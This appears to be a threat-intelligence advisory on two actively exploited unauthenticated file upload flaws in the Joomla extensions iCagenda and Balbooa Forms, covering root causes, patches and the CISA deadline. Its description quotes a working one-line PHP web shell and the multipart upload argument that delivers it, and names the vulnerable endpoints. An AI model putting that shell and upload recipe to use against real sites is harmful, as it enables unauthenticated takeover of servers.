# CISA Warns of Actively Exploited RCE Flaws in Joomla Extensions — iCagenda (CVE-2026-48939) and Balbooa Forms (CVE-2026-56291) Arbitrary File Upload

> CISA added two maximum-priority arbitrary file upload vulnerabilities in Joomla extensions — iCagenda (CVE-2026-48939, CVSS 9.8) and Balbooa Forms (CVE-2026-56291, CVSS 9.8) — to its Known Exploited Vulnerabilities catalog after confirming pre-patch zero-day exploitation. Unauthenticated attackers upload PHP web shells through unrestricted extension attachment handlers to achieve full remote code execution and site takeover; federal agencies must remediate by July 13, 2026.

- **Published:** 2026-07-13T00:00:00Z
- **Last reviewed:** 2026-07-13T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1267
- **ID:** TL-2026-1267
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 21 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-48939, CVE-2026-56291

## Description

Two unrelated but structurally identical unauthenticated arbitrary file upload vulnerabilities in commonly deployed Joomla third-party extensions were exploited as zero-days within a one-month window in mid-2026, prompting CISA to add both to the Known Exploited Vulnerabilities (KEV) catalog under Binding Operational Directive 22-01.

CVE-2026-48939 affects the iCagenda event management extension by JoomliC (versions 3.2.1 through 3.9.14, and 4.0.0 through 4.0.7). The frontend event-registration form's file attachment feature enforces access restrictions only at the view layer — 'the access check was applied only in the view that decides whether to draw the form on screen. The controller that actually processed the submission never checked it at all.' An unauthenticated visitor can harvest a form token from any public iCagenda page (the submit form need not be publicly linked), then POST an arbitrary file directly to the `registration.submit` controller via the `jform[attachment]` multipart field with no MIME-type validation, no extension allowlist (the original code never routed uploads through Joomla's `MediaHelper` allow-list), and no content scanning. Uploaded files are written directly under the web root at `images/icagenda/frontend/attachments/` with the original extension preserved verbatim, making a `.php` upload immediately server-executable — full RCE was confirmed on Joomla 6 installations, where core upload filtering is absent; earlier Joomla versions natively blocked unsafe uploads and were limited to an unapproved-event-creation bypass. Automated in-the-wild exploitation began June 15, 2026 at approximately 08:00 UTC (per JoomliC), hours before the vendor shipped fixed versions 4.0.8 and 3.9.15 the same day (legacy branch patched June 16). A public PoC (documented exploit chain reproduced independently) uses the minimal webshell `<?php echo "OK|".php_uname(); system($_GET["c"]); ?>`, delivered via `-F "jform[attachment]=@shell.php;type=application/x-php"`, granting command execution through the `c` GET parameter. Observed attack telemetry associated with automated exploitation includes the User-Agent string `icagenda-batch/1.0` and a session-creation → POST-to-submission → fetch-of-planted-file attack signature.

CVE-2026-56291 affects Balbooa Forms (`com_baforms`), a commercial drag-and-drop form builder, in all versions up to and including 2.4.0. The frontend attachment upload handler at `index.php?option=com_baforms&task=form.uploadAttachmentFile` (implemented in the frontend `FormModel.php`, upload routine around line 122) accepted uploads from any anonymous visitor with no session/authentication checks and no CSRF token validation. The processing controller derived the file extension directly from the attacker-supplied filename (e.g. `shell.php` → `php`), sanitized only the name portion via Joomla's `File::makeSafe()` helper, then rejoined the cleaned name with the untouched original extension (`$fileName = $name . '.' . $ext`) before writing the file to `images/baforms/uploads/form-<id>/` — a web-accessible, PHP-executable directory. A customer of mySites.guru (researcher Phil Taylor) received a Hetzner hosting-provider abuse notification containing raw access logs on July 8, 2026; mySites.guru analyzed the logs, confirmed the missing authentication and file-type restrictions via code review, and reproduced the attack locally the same day. Private disclosure was sent to Balbooa, which responded the same day and shipped version 2.4.1 on July 9, 2026 — the fix adds server-side extension validation against form field configuration, an optional MIME-type-checking mode, server-generated (non-attacker-controlled) filenames, and CSRF token enforcement on the upload endpoint. Balbooa's changelog listed the fixes under a generic 'Fixed' heading without security terminology, a disclosure-hygiene gap that plausibly delayed administrator awareness of the criticality. No public PoC/exploit code was released for CVE-2026-56291.

Both vulnerabilities follow the same root-cause pattern common across Joomla third-party extensions: authorization checks implemented only in the presentation/view layer while the underlying controller/model accepts any request, combined with extension-preserving sanitization routines that clean the filename but not the trailing extension — the same class of flaw independently documented in other Joomla/WordPress form-builder extensions (e.g. Convert Forms CVE-2024-40744, Ninja Forms CVE-2026-0740, and a related sibling flaw, PageBuilder CK's CVE-2026-56290, also disclosed by mySites.guru around the same date). CISA added both CVEs to the KEV catalog on July 10, 2026, classifying them maximum priority and setting a compressed three-day remediation deadline (July 13, 2026) for FCEB agencies under BOD 22-01. Both flaws enable unauthenticated, pre-patch remote code execution leading to PHP web shell deployment and complete Joomla site compromise, including creation of unauthorized Super User administrator accounts.

## MITRE ATT&CK

- T1595 Active Scanning
- T1593 Search Open Websites/Domains
- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1203 Exploitation for Client Execution
- T1505 Server Software Component
- T1136 Create Account
- T1505.003 Web Shell
- T1078 Valid Accounts
- T1068 Exploitation for Privilege Escalation
- T1036 Masquerading
- T1070 Indicator Removal
- T1518 Software Discovery
- T1082 System Information Discovery
- T1105 Ingress Tool Transfer
- T1071 Application Layer Protocol
- T1005 Data from Local System
- T1491 Defacement

## Sources

- [CISA warns of actively exploited RCE flaws in Joomla extensions](https://www.bleepingcomputer.com/news/security/cisa-warns-of-actively-exploited-rce-flaws-in-joomla-extensions/)
- [iCagenda and Balbooa Forms Joomla Flaws Reportedly Exploited as Zero-Days](https://thehackernews.com/2026/07/icagenda-and-balbooa-forms-joomla-flaws.html)
- [U.S. CISA adds iCagenda and Balbooa Forms flaws to its Known Exploited Vulnerabilities catalog](https://securityaffairs.com/195164/security/u-s-cisa-adds-icagenda-and-balbooa-forms-flaws-to-its-known-exploited-vulnerabilities-catalog.html)
- [GitHub - shinthink/CVE-2026-48939: Pre-auth arbitrary file upload RCE exploit for iCagenda](https://github.com/shinthink/CVE-2026-48939)
- [GitHub - Polosss/By-Poloss..-..CVE-2026-48939](https://github.com/Polosss/By-Poloss..-..CVE-2026-48939)
- [CVE-2026-48939 – Unauthenticated File Upload RCE – iCagenda Extension for Joomla up to 4.0.7 - IONIX](https://www.ionix.io/threat-center/cve-2026-48939/)
- [iCagenda Zero-Day File Upload RCE - mySites.guru](https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/)
- [Balbooa Forms RCE - CVE-2026-56291 | mySites.guru](https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/)
- [PageBuilder CK RCE - CVE-2026-56290 | mySites.guru](https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/)
- [Two Joomla Extensions Under Active Attack: CISA Orders Agencies to Patch File-Upload Flaws](https://windowsnews.ai/article/two-joomla-extensions-under-active-attack-cisa-orders-agencies-to-patch-file-upload-flaws.436686)
- [NVD - CVE-2026-48939](https://nvd.nist.gov/vuln/detail/CVE-2026-48939)
- [NVD - CVE-2026-56291](https://nvd.nist.gov/vuln/detail/CVE-2026-56291)
- [CVE-2026-48939 - Vulnerability Details - OpenCVE](https://app.opencve.io/cve/CVE-2026-48939)
- [iCagenda 4.0.8 Changelog](https://www.icagenda.com/docs/changelog/icagenda-4-0-8)
- [iCagenda 3.9.15 Changelog](https://www.icagenda.com/docs/changelog/icagenda-3-9-15)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1267